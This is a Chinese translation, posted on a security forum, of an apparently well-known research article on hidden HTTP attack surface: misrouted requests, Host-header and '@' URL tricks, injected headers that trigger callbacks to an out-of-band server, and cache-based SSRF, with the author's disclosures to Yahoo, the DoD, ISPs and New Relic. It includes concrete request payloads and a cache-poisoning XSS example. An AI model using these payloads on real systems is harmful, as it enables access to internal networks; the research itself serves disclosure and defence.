【译】打破热点：剑指HTTP隐藏的攻击面

□ / 2017-08-05 14:51:00 / 浏览数 6399 技术文章 技术文章 顶(0) 踩(0)

现代网站为了提高性能，获取数据并提供更多的服务，通常采取透明系统（译者注:
透明系统是指程序的输入输出可知）镜像来供用户访问。这种几乎不可见的攻击面已经被人们过于的忽略了。

在这篇文章中，我会向大家展示如何使用畸形请求和迷惑的请求头去欺骗系统暴露它们自己，同时打开通往受害者网络的大门。同时我将分享如何把这些技术与bash组合去

当论及到损害程度的话，我也会展示几个系统从隐藏到被揭露的状态，这不仅包括对英国最大的ISP的隐蔽请求的窃听，还有相当可疑的哥伦比亚ISP，令人困惑的Tor后台，
Everwhere—— 一个开源burp插件，通过选择最好的技术来增加你的网站流量，从而获得更多的来自合作网站的客户。

这篇文章也可以打印成白皮书。与此对应的BlackHat USA演讲视频可能会在9月份公布。

介绍

无论是ShellShock，StageFright还是ImageTragick，在被忽视的攻击面中发现一个严重的漏洞，其背后常常隐藏着许多类似的问题。这是由于安全测试人员的关注点不在

这次，我会发布两个工具。 Collaborator Everywhere是一个Burp
Suite插件，可以自动将一些危害低的攻击载荷注入你的Web流量来揭露后端系统。它可以通过BApp商店安装，也可以通过https://github.com/PortSwigger/collaborato

Probe是一个分析连接客户端的攻击面的网页，可从https://github.com/PortSwigger/hackability下载，或直接在http://portswigger-labs.net/hackability/下载

方法论

善于监听

这一系列研究都需要目标系统被是成不可见的。过于明显的负载均衡在设计上就是失败的，而对于后端分析系统来说用户对其存在一无所知，毫无疑问这非常好。因此，我
Collaborator记录这些请求，但你也可以同时托管自己的日志记录DNS服务器，或者需使用Canarytokens来进行简单的探测。

研究线

一开始我使用简单的Burp匹配/替换奖硬编码的pingback攻击载荷注入到所有浏览器流量中。这种方法失败了，因为攻击载荷引起了太多的pingback，这导致了无法将ping

为了帮助有效地区分pingback，我写了Collaborator
Everywhere，一个简单的Burp扩展，将包含唯一标识符的攻击载荷注入到所有代理的流量中，并让它们自动将pingback与相应的攻击相关联。比如说，下面这张屏幕截图
Everywhere已经识别出了在我访问Netfix网站后四个小时，Netflix访问了Referer头中指定的URL，并伪装是在x86 CPU上运行的iPhone。

扩大规模

对于专注的手动审计来说，Collaborator
Everywhere非常高效，本文中提及的漏洞有大概一半是通过它来发现的。然而，在这次研究中我发现了雅虎服务器的一个漏洞，该漏洞的通过扫描发现的概率只有30%。这

为了按上面说的做，最开始我选择了Masscan和Burp
Collaborator，但最后用Zmap/ZGrab代替了Masscan，因为它支持HTTP1.1和HTTPS。为了将pingback与目标相关联，我将目标主机名和每个payload进行了简单的相加
Sonar Forward
DNS数据库中。通过这个技术，我确定了几百万个IP地址，其中大约50000台主机监听着80/443端口。最初我试着使用反向DNS记录，但我发现了许多服务器伪装成googl

于是我向成千上万的服务器发送了攻击载荷，如果这些载荷根本没有击中存在漏洞的代码路径，那效果甚微。为了最大化覆盖率，每个IP地址我用了5个主机名，同时使用H

错误路由请求

反向代理会对收到的请求进行轮询，并转到适当的内部服务器。这些服务器通常处于一个特殊的网络位置，能够接受公网的请求同时也可以访问公司的DMZ区域，但这并不

请注意，这种攻击通常涉及高度畸形的请求，可能会破坏诸如ZAP的工具，并可能无意中利用了公司或ISP的中间网关。对于工具我建议使用Burp
Suite，mitmproxy和Ncat / OpenSSL。

不正确的host字段

触发回调函数的最简单方法是发送不正确的HTTP主机头：

```
GET / HTTP/1.1
Host: uniqid.burpcollaborator.net
Connection: close
```

虽然这项技术在一些圈子里已经存在多年了，但它仍没令人满意。通过这个技术，我成功的渗透了27个DoD服务器，我的ISP、一个哥伦比亚ISP（通过DNS投毒将其暴露出

初略看一眼，并不能知道服务器在运行什么软件：

```
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082


HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:32:50 GMT
Transfer-Encoding: chunked
Connection: close

Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
```

接着不到一分钟，我就准确的知道了服务器在运行什么软件并且怎么和它通讯，这多亏了助人为乐的HELP命令：

```
HELP / HTTP/1.1
Host: XX.X.XXX.XX:8082


HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:33:59 GMT
Transfer-Encoding: chunked
Connection: keep-alive

Ok

 Traffic Server Overseer Port

 commands:
   get <variable-list>
   set <variable-name> = "<value>"
   help
   exit

 example:

   Ok
   get proxy.node.cache.contents.bytes_free
   proxy.node.cache.contents.bytes_free = "56616048"
   Ok

 Variable lists are conf/yts/stats records, separated by commas

Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
```

大量的Unknown
Command是因为服务器将请求的每一行理解成一个命令了。我猜测服务器那的解释器正使用一个类换行符终止协议，这会导致经典的SSRF的exp很难构造。幸运的是，基于

```
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
Content-Length: 34

GET proxy.config.alarm_email


HTTP/1.1 200 Connection Established
```

```
Date: Tue, 07 Feb 2017 16:57:02 GMT
Transfer-Encoding: chunked
Connection: keep-alive

Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
proxy.config.alarm_email = "nobody@yahoo-inc.com"
```

通过使用SET命令，我可以对Yahoo的负载平衡器池进行大范围的配置更改，包括启用SOCKS代理和授予我的IP地址权限，直接将项目推送到其缓存中。接着我向雅虎及时汇

调查对象-BT

在尝试错误的主机技术时，因为有些攻击载荷发送到完全不相关的公司（其中包括cloud.mail.ru），我发现了它们的pingbacks都来自一小块IP地址。最初我假设这些公司必
- BT是英国电信公司的ISP。从英国肯特发送一个攻击载荷到俄罗斯，获取的`pingback`是不可预料的。我决定使用Burp
Repeater进行调试，调试中我发现响应在50ms内回来，这快得让人质疑，毕竟这是从英国到俄罗斯的请求，然后到爱尔兰的数据中心，最后从俄罗斯回到英国。于是我使用

我尝试与cloud.mail.ru建立TCP链接，但却被自己的ISP终止了。请注意发送到443端口的流量并没有受到保护，这就暗示了正在执行篡改操作的实体并没有控制mail.ru的TL

为了揭开这个系统的真实面纱，我使用了`Masscan`在整个IPv4的空间里去ping
80端口，其中所有ping的TTL都是10，这是一次有效的全网追踪。在筛选掉缓存和自我托管的网站后，我拿到了一份完整的目标IP地址清单。通过对清单抽样发现这个系统主

```
GET / HTTP/1.1
Host: www.icefilms.info

HTTP/1.1 200 OK
...
<p>Access to the websites listed on this page has been blocked pursuant to orders of the high court.</p>
```

这个屏蔽可以被绕过，甚至不需要修改host头。但具体怎么操作，这就留给读者来完成了。

整个过程有一些注意的结果。由于像谷歌这类的虚拟主机、云主机网站早就停止采用黑名单的策略，这就意味着从客户或BT用户到他们那的流量都是走的代理。站在被列入黑

最后的最后，我向bt的员工报告了能够访问内网控制面板的问题，他答复一定会及时修复。他们还向我透露了这个拦截系统是作为CleanFeed项目的一部分，缘由是政府想要

调查对象-METROTEL

后来的日子里，我见证了类似的行为发生在哥伦比亚ISP（METROTEL）。Rapid7的Sonar项目使用了一个公共的METROTEL
DNS服务器，该服务器选择性的给特定域名进行DNS污染导致流量重定向DPI代理服务器。为了通过HTTPS流量而不导致证书错误，他们从服务器名称指示器（SNI）字段中

这个系统和BT的情况一样，最初的目的是令人值得赞扬的。但是有证据显示它被利用了，除了以图像服务的网站为目标，这台DNS服务器还会对特定的新闻网站（包括bbc.

处理输入

假如你真的把这一些列小事故当成偶然的一个错误，那就看看我接下来碰到的七台服务器池。他们收到请求是这样的：

```
GET / HTTP/1.1
Host: burpcollaborator.net
Connection: close
```

他们对外发送了一个请求。<the_supplied_domain>在路径中出现了两次：</the_supplied_domain>

```
GET /burpcollaborator.net/burpcollaborator.net HTTP/1.1
Host: outage.burpcollaborator.net
Via: o2-b.ycpi.tp2.yahoo.net
```

这种行为是无法预测的，所以唯一合理的反应是确保你的服务器可以通过使用泛解析、wildcard
SSL和多个协议来处理客户端的异常行为。这种特殊的行为看起来是无法利用的，因为内部服务器不可能在`/burpcollaborator.net/burpcollaborator.net`上托管每

```
GET / HTTP/1.1
Host: ../?x=.vcap.me
Connection: close
```

这个请求会导致下面这个请求：

```
GET /vcap.me/../?=x=.vcap.me
Host: outage.vcap.me
Via: o2-b.ycpi.tp2.yahoo.net
```

在对路径正常化后，url会变成`http://outage.vcap.me/?x=whatever`。vcap.me是一个方便的公共域名，其中所有的子域名都是解析到`127.0.0.1`。因此这个请求就

主机覆盖

另外一个类似的技术是我之前用过的，当时是通过密码污染来重置邮件，这在美国国防部的某台服务器上生效了。这是因为有些服务器是对host头进行了白名单设置，但却

```
GET http://internal-website.mil/ HTTP/1.1
Host: xxxxxxx.mil
Connection: close
```

将存在漏洞的前端系统作为大门，我获得了访问很多不同有意思的网站的权限，其中包括一个攻击面的库和公共论坛提到的文件传输服务。

奇怪的请求

有些目标是藏在Incapsula的以云为基础的web应用waf后面。Incapsula依赖于检测host头来判断请求该转发至哪台服务器，所以之前谈论的攻击在这不起作用。然而，只要

```
GET / HTTP/1.1
Host: incapsula-client.net:80@burp-collaborator.net
Connection: close
```

Incapsula-client.net的后台会把这个输入变成链接`http://incapsula-client.net:80@burp-collaborator.net/`，这会导致后台会尝试使用`incapsula-client`

出乎意料

坏掉的请求路由漏洞并不总是由于配置错误引起。比如说在New Relic基础设备上的这段代码就导致了严重的漏洞：

```
Url backendURL = "http://public-backend/";
String uri = ctx.getRequest().getRawUri();

URI proxyUri;
try {
proxyUri = new URIBuilder(uri)
       .setHost(backendURL.getHost())
       .setPort(backendURL.getPort())
       .setScheme(backendURL.getScheme())
       .build();
} catch (URISyntaxException e) {
   Util.sendError(ctx, 400, INVALID_REQUEST_URL);
   return;
}
```

这段代码看起来似乎没有错误--首先接受用户输入的url，然后用硬编码在后端把域名换成了IP地址，不幸的是Apache HttpComponents
服务端库不能要求路径以/开头，这意味着如果我发送了下面这个请求：

```
GET @burp-collaborator.net/ HTTP/1.1
Host: newrelic.com
Connection: close
```

上述代码在处理这个时会把该请求重写成`http://public-backend@burp-collaborator.net/`接着将其路由到`burp-collaborator.net`。和之前一样，这个漏洞

不幸的是，New Relic没有提供现金奖励，但他们信守承诺，在一个假日迅速的修复了漏洞，并向Apache
HttpComponents报告了存在问题的底层库，随后这个问题被修复了，所以其他正在使用Apache
HttpComponents的朋友们不用担心了。这并不是第一次在受众面如此广的平台上出现准确的攻击载荷—— 2011年的Apache
mod_rewrite。很明显这并不是众所周知的常识，除了New Relic受影响，我还发现这个问题同样存在于17台雅虎服务器上，所以我又赚了8000刀。

隧道

正如我们所看的，经常被忽视的功能（使用@构建一个误导性的URL）是非常有效的。但并不是所有的系统都支持这种url，所以我将之前的payload进行了改造：

```
GET xyz.burpcollaborator.net:80/bar HTTP/1.1
Host: demo.globaleaks.org
Connection: close
```

这条payload后的原理是存在问题的主机可能会把请求路由到`xyz.burpcollaborator.net`公共后端系统，这条记录会被我们的泛解析DNS记录。实际上我收到的是一串

```
xYZ.BurpcoLLABoRaTOR.neT.    from 89.234.157.254
Xyz.burPColLABorAToR.nET.    from 62.210.18.16
xYz.burpColLaBorATOR.net.    from 91.224.149.254
```

GlobalLeaks（公司名）使用了Tor2Web将收到的请求转发Tor隐藏的服务接口从而隐藏自己的物理位置。Tor使用了一种模糊安全机制来提高DNS的安全性，原理是通过随
Collaborator服务器拒绝响应，所以触发了大量的dns查找。

这个独特的漏洞非常不好量化。因为所有的请求都是通过Tor，这就不能滥用于访问任何内网服务。这就说，这是一种非常强大的方式，如果用于掩盖对第三方的攻击，特别

目标辅助系统

我们已经看到反向代理的显著多样性和使服务器错误路由请求技术的必要性，但迄今为止最终的效果都差不多。在这节中，我们将看到，在以后端分析和缓存之类的辅助系统

收集信息

不像以路由为基的攻击，这些攻击技术通常并不影响网站的正常功能。Collaborator Everywhere通过注入大量不同的攻击到每个请求中来利用这一点。

```
GET / HTTP/1.1
Host: store.starbucks.ca
X-Forwarded-For: a.burpcollaborator.net
True-Client-IP: b.burpcollaborator.net
Referer: http://c.burpcollaborator.net/
X-WAP-Profile: http://d.burpcollaborator.net/wap.xml
Connection: close
```

X-Forwarded-For

易于触发但难以利用的回调技术的一个示例是X-Forwarded-For和True-Client-IP
HTTP头，渗透人员通常利用它们来欺骗IP地址或主机名。信任这些头的应用会进行DNS查找去解析主机名到对应的IP地址。这就给了我们一个很友好的提示，表明他们容易

Referer

与前面相似，web分析系统会从来访者的Referer头中获取所有的未识别URL。一些分析系统为了SEO目的甚至会去尝试爬取referer中url的整个站点。这个动作可能是有用的
SSRF漏洞，因为用户无法查看分析系统请求的结果，且这发生的时间可能是在用户请求后几分钟或几小时，这会加大利用难度。

重复的参数

因为Incapsula会在请求字符串中获取指定的url两次。但不幸的是他们没有漏洞悬赏机制，所以我不能调查这是不是可利用的。

X-Wap-Profile

X-Wap-Profile是一个古老的http头，该头指定了设备的用户代理配置文件URL，这个文件是一个定义了设备的功能（如屏幕大小，蓝牙支持，支持的协议和字符集等）的X

```
GET / HTTP/1.1
Host: facebook.com
X-Wap-Profile: http://nds1.nds.nokia.com/uaprof/N6230r200.xml
Connection: close
```

按套路出牌的程序会从请求头中提取url，然后解析到指定的XML文档，这样便于它们调整提供给客户的内容。将这两个高风险功能（获取不受信任的URL和解析不受信任的

远程客户端漏洞利用

上面这些例子中，如果直接进行SSRF风格的利用是非常困难的，因为我们无法从应用获得反馈。与此对应是利用能够运行的RCE（比如本月的Struts2）向内网进行喷洒似探
the System：rise of the
Robots》的web爬虫。在娱乐方面，这种技术没什么意思，所以我将焦点放在了与我们相关的客户端上。和反向代理一样，客户端的审计比较差，容易被现成的工具攻击。
Responder的服务器上，lcmatuf的p0f能够发现隐藏在假代理后的客户端真正运行的东西。

虽然应用程序会过滤URL的输入，但许多库对重定向都是透明处理的，所以可能会导致在重定向url上有不同的行为。例如，Tublr的URL预览功能只支持HTTP协议，但却乐于
Tsai正专注于编程语言URL解析和请求库。

有些客户端所做的工作不仅是下载页面-实际还有渲染和执行javascript。这样的话会使攻击面很大，没办法手动去做映射，所以我的同事Gareth
Heyes创建了一个名为"Rendering Engine Hackability
Probe"的工具，用于完整的指纹识别客户端的功能。除了识别自定义浏览器中的常见故障（如忽略执行SOP），它还能标记了不寻常的JavaScript属性。

如图所示，我们可以知道这款工具能够检测未识别的Javascript属性`parity`和`System`，这两个属性是Parity浏览器注入进去的，目的是让网站初始化Etherenum。未识别的

优先缓存

在寻找路由利用漏洞的时候，我注意到了某个军事服务器有一些奇怪的行为。它发出了这样的请求：

```
GET / HTTP/1.1
Host: burpcollaborator.net
```

这个请求从服务器获得了正常的响应，接着几秒后collaborator收到了几个请求。

```
GET /jquery.js HTTP/1.1
GET /abrams.jpg HTTP/1.1
```

很明显，这是一次扫描响应，目的是资源引入和资源获取。当它识别出时，它会使用我提供的host头去把相对url扩展成http://burpcollaborator.net/abrams.jpg并获取该文件，以便作缓存。通过从反向代理

```
POST /xss.cgi HTTP/1.1
Content-Length: 103
Connection: close

xss=<img src="http://internal-server.mil/index.php/fake.jpg"/>
```

缓存反向代理服务器识别出了这个资源，然后进行资源引入和获取这个image，并将它存储在我能轻易获取的地方：

```
GET /index.php/fake.jpg
Host: internal-server.mil
Connection: close
```

下面的流程图展示了攻击顺序：

请注意，在绝对url中使用XSS意味着即使应用程序拒绝了请求（包含不被识别的host头），这种攻击也会起作用。

结论

最近几年，漏洞悬赏的迅速增加促进了新的攻击类型研究。现在在15分钟内对成千上万点服务器对一个新的攻击概念进行评估了。通过这个技术，我已经向各位展示了即使

我还展示了如何揭开后端系统并详细讲解了他们的操作。相对于前端来说，后端不不容易发生致命的问题，但他们暴露了丰富的攻击面，这面尚在研究中。最后，我确保Bu
Suite的Scanner功能可以探测到路由漏洞，并发布了Collaborator Everywhere和Hackability作为开源工具来推动进一步的研究。

享受这一切吧。-@albinowax。

上一篇：《docker入门指南》 下一篇：《跟老齐学Python：从入门到精...

1. 4 条回复

 2017-08-06 03:18:46

翻译的很渣，讲真网上有篇比我翻译的好。

0 回复Ta

 hades 2017-08-07 08:02:37

我要打你~好了 你的奖励没了~

0 回复Ta

 2017-08-07 13:06:31

以读者的阅读感受为第一要义，难道不是这样的？

0 回复Ta

 hades 2017-08-08 00:52:27

下次争取你比他强~~

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板